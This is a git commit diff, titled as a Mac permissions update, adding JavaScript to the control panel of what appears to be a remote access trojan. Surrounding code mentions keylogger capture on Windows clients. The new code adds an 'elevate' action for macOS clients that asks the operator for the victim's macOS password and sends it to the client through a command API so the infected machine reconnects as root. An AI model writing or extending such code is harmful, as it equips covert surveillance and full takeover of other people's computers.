new mac update for permission issues.

This commit is contained in:
KingKDot
2026-04-13 10:49:36 -05:00
parent 66393d5ba4
commit 792de1e22c
21 changed files with 480 additions and 29 deletions
+31
View File
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
isWindows,
"Keylogger capture is only fully supported on Windows clients.",
);
const elevateBtn = menu.querySelector('[data-action="elevate"]');
if (elevateBtn) {
elevateBtn.style.display = platform === "darwin" ? "" : "none";
}
}
async function loadCurrentUser() {
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
return;
}
if (action === "elevate") {
const password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
}
try {
const res = await fetch(`/api/clients/${contextCard}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
});
const data = await res.json().catch(() => ({}));
if (data.ok) {
alert(data.message || "Elevation successful — client will reconnect as root.");
} else {
alert(data.error || data.message || "Elevation failed.");
}
} catch (err) {
alert("Elevation request failed: " + err.message);
}
closeMenu(clearContext);
setTimeout(() => loadWithOptions({ force: true }), 2000);
return;
}
const ok = await sendCommand(contextCard, action);
if (ok) {
setTimeout(() => loadWithOptions({ force: true }), 400);